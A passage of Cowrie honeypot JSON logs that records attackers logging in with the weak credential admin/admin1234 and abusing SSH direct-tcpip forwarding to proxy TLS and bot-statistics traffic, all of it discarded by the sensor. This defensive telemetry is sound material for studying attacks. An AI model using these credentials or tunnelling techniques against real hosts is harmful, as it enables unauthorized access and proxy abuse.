\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x84j\\xfd\\xef\\x9dPi\\xe5\\x0f\\xae.\\xc0\\xbd\\x96$T\\\\\\xd1\\x83\\xd0\\xfa\\\\\\xd3\\xbb:\\x1f cdXi \\xd4\\xad\\xd7;y\\x8b\\xd2\\x92\\r\\xeb\\x8a\\xda{\\xebd\\xb3L\\xad\\xe3Zk\\x7f\\xd5\\x1a\\x9d\\xa0{3H\\xd0\\xd8v\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 W\\xcc\\xd5[\\x11\\xdf\\xc8t\\xc3\\xf6\\x99\\xea\\x0e\\xad\\x0b\\x1d9\\xa1\\x0eL\\xbft\\x94x5\\xbd\\x9bM\\x7f\\x86\\xd6C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:53.781826Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:54.166216Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:54.620498Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.123275Z","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.127872Z","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.161769Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; LIO-AL00 Build/HUAWEILIO-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=T3Q%2BQzBQVGdeWTFrb2xWNA%3D%3DFfR4yrnWXl2MPHZt%2B5EiD9iwF4pUOLG7hSgVBW1xV4kK%2F%2BMtwPBS6FKplKj6lk9EoF%2BUp3%2BNh%2FSaNhPIr3q4X%2BqNkjxo8UZac90yyTsltdUJjjkxqpjkpQUafm%2FGSVd3GCX3aBu43Ah2V7AozTOZ6ZJ8kf%2FthunIqnUnNE1ebT9e8wGpQVHdw8BLSAMfQUwRqbo2mrdpiZ72yLnmjS26LeU0aM9ysnNOUUjOFinQmxnYeuHkNEw7kvKVE%2B%2F0XUTJDTG%2FhuoayV6kgqwri6yf0LpiVMZWarjgQUfWuystotXmwlxuFTkWlK3ykDE1LK6SEn1HjCJjFhNraF5s%2BBis7yZ4lx19hUYdRpJE1DEyya8ZQJBv9uEdj5GDySFB7ZMH5LBq9qhly3c2zkrqzdd44%2FS%2FuViPJYR%2BGHaqXJCz7vtGvlCidZFaXD0JfUibTzl34YHOZsCKAbvhZIR4nLMPQede0gQw0zvOryEoNKajMPaAywUU2URDzSqEte6c1wGVU3K32r5ytvyNQk%2FI8bbtKH5YkDaf%2FVbqW3lKGWS4HASilcBVJheOAfibNS0SwVEl4OVrceSYWLTgZVC%2BkxLshqF%2Fj7ug9tf093WlmIQNCRJQ7cZ9rU26QywsxShdVLML89vG44OArauauiMmpYasPYAMlwaZylusPz8QFM3LnD4blXgfLMnhYMLZ6tqUouN8lbRdDUZmPD%2B9%2Fsphih7hX%2BtnpfvdSOGUNL6L3%2BC4xY9mzfAJ7CEIZXJSfQ8rA3Ynaw3n9rCIgS6NC0%2Fm0e4UPid%2FAMN%2BqiIy7NKbdkD29KE%2ButFqA8zrClZIh6eyoJf4hl1QKlVbq5BDiMizG0RN%2F%2B9HMsQTuvALbGbTYURjYNfl%2BB9lzE6saWYhNdVmObb38%2FblWq21pcchHVkAG5rdIGXiy%2FbdjjsfBoAWA%2Fh9GdvXa7SjomiJFpivfdVm8LoO16mblpqxeQPHcc%2FMPES3tBOIKOgaCJxw2iNeG7wn1D8RD9yD%2BwZSHVmb9AoYb5i1N%2BmvloT2WH1PzGtnY6tKey65%2FScwkvFiShO8FUOETRs%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; LIO-AL00 Build/HUAWEILIO-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=T3Q%2BQzBQVGdeWTFrb2xWNA%3D%3DFfR4yrnWXl2MPHZt%2B5EiD9iwF4pUOLG7hSgVBW1xV4kK%2F%2BMtwPBS6FKplKj6lk9EoF%2BUp3%2BNh%2FSaNhPIr3q4X%2BqNkjxo8UZac90yyTsltdUJjjkxqpjkpQUafm%2FGSVd3GCX3aBu43Ah2V7AozTOZ6ZJ8kf%2FthunIqnUnNE1ebT9e8wGpQVHdw8BLSAMfQUwRqbo2mrdpiZ72yLnmjS26LeU0aM9ysnNOUUjOFinQmxnYeuHkNEw7kvKVE%2B%2F0XUTJDTG%2FhuoayV6kgqwri6yf0LpiVMZWarjgQUfWuystotXmwlxuFTkWlK3ykDE1LK6SEn1HjCJjFhNraF5s%2BBis7yZ4lx19hUYdRpJE1DEyya8ZQJBv9uEdj5GDySFB7ZMH5LBq9qhly3c2zkrqzdd44%2FS%2FuViPJYR%2BGHaqXJCz7vtGvlCidZFaXD0JfUibTzl34YHOZsCKAbvhZIR4nLMPQede0gQw0zvOryEoNKajMPaAywUU2URDzSqEte6c1wGVU3K32r5ytvyNQk%2FI8bbtKH5YkDaf%2FVbqW3lKGWS4HASilcBVJheOAfibNS0SwVEl4OVrceSYWLTgZVC%2BkxLshqF%2Fj7ug9tf093WlmIQNCRJQ7cZ9rU26QywsxShdVLML89vG44OArauauiMmpYasPYAMlwaZylusPz8QFM3LnD4blXgfLMnhYMLZ6tqUouN8lbRdDUZmPD%2B9%2Fsphih7hX%2BtnpfvdSOGUNL6L3%2BC4xY9mzfAJ7CEIZXJSfQ8rA3Ynaw3n9rCIgS6NC0%2Fm0e4UPid%2FAMN%2BqiIy7NKbdkD29KE%2ButFqA8zrClZIh6eyoJf4hl1QKlVbq5BDiMizG0RN%2F%2B9HMsQTuvALbGbTYURjYNfl%2BB9lzE6saWYhNdVmObb38%2FblWq21pcchHVkAG5rdIGXiy%2FbdjjsfBoAWA%2Fh9GdvXa7SjomiJFpivfdVm8LoO16mblpqxeQPHcc%2FMPES3tBOIKOgaCJxw2iNeG7wn1D8RD9yD%2BwZSHVmb9AoYb5i1N%2BmvloT2WH1PzGtnY6tKey65%2FScwkvFiShO8FUOETRs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.164994Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.170113Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc4\\xc0\\xaf\\xd8u\\x1a\\xb2i\\x89\\r\\xa3;:\\xd8\\x9e\\xae\\t\\x14\\x162\\xf6\\x8a\\xff\\x12\\xaan\\x08\\xab\\xe3K\\xa0\\xd2 \\x8ex\\xb5\\xc8\\xb6RYC\\x02Ml\\xea_\\xc2\\x01\\xdc\\xfa\\t\\xee$\\xbd\\xdf\\x1b\\x1b@\\xe4\\xb9\\xce\\\\!\\x90c\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 e\\xcb\\xb2\\x99\\xc5\\x12Tw\\xb1\\xb0a\\x17U1<B\\x86Ji\\xd9l\\x0b\\xf9\\\\\\xbe\\x84o9\\x03@Kr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc4\\xc0\\xaf\\xd8u\\x1a\\xb2i\\x89\\r\\xa3;:\\xd8\\x9e\\xae\\t\\x14\\x162\\xf6\\x8a\\xff\\x12\\xaan\\x08\\xab\\xe3K\\xa0\\xd2 \\x8ex\\xb5\\xc8\\xb6RYC\\x02Ml\\xea_\\xc2\\x01\\xdc\\xfa\\t\\xee$\\xbd\\xdf\\x1b\\x1b@\\xe4\\xb9\\xce\\\\!\\x90c\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 e\\xcb\\xb2\\x99\\xc5\\x12Tw\\xb1\\xb0a\\x17U1<B\\x86Ji\\xd9l\\x0b\\xf9\\\\\\xbe\\x84o9\\x03@Kr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.172934Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.210295Z","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.245343Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1b\\x19\\xcf]y\\xea\\x95\\xebK\\xa6s\\x04\\xd7\\xc4\\xae\\x1d\\xf5j\\xb8\\xfd*E\\xe8:\\xe8\\xff\\xd6\\x14\\x9e\\x9e\\x05\\xc8 r]\\xc4\\'7\\x94\\xb0\\xa6q\\xb3\\t<B\\xc0\\xbd4\\xfa\\xd0)\\xda\\xff\\x00\\'K\\x95\\xfe\\x05\\x9d\\x97\\x9e\\xd0\\xb6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 St\\xb29D&_*\\x08\\x0e[\\xac\\xf0\\x85pb\\xe0\\x93D\\xa4,\\\\\\xc2*%\\xe7\\xc2\\x92X$\\xb0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1b\\x19\\xcf]y\\xea\\x95\\xebK\\xa6s\\x04\\xd7\\xc4\\xae\\x1d\\xf5j\\xb8\\xfd*E\\xe8:\\xe8\\xff\\xd6\\x14\\x9e\\x9e\\x05\\xc8 r]\\xc4\\'7\\x94\\xb0\\xa6q\\xb3\\t<B\\xc0\\xbd4\\xfa\\xd0)\\xda\\xff\\x00\\'K\\x95\\xfe\\x05\\x9d\\x97\\x9e\\xd0\\xb6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 St\\xb29D&_*\\x08\\x0e[\\xac\\xf0\\x85pb\\xe0\\x93D\\xa4,\\\\\\xc2*%\\xe7\\xc2\\x92X$\\xb0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.249781Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166845321655,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:59.613784Z","src_ip":"128.199.8.54","session":"f7360eaa9705","protocol":"telnet"}
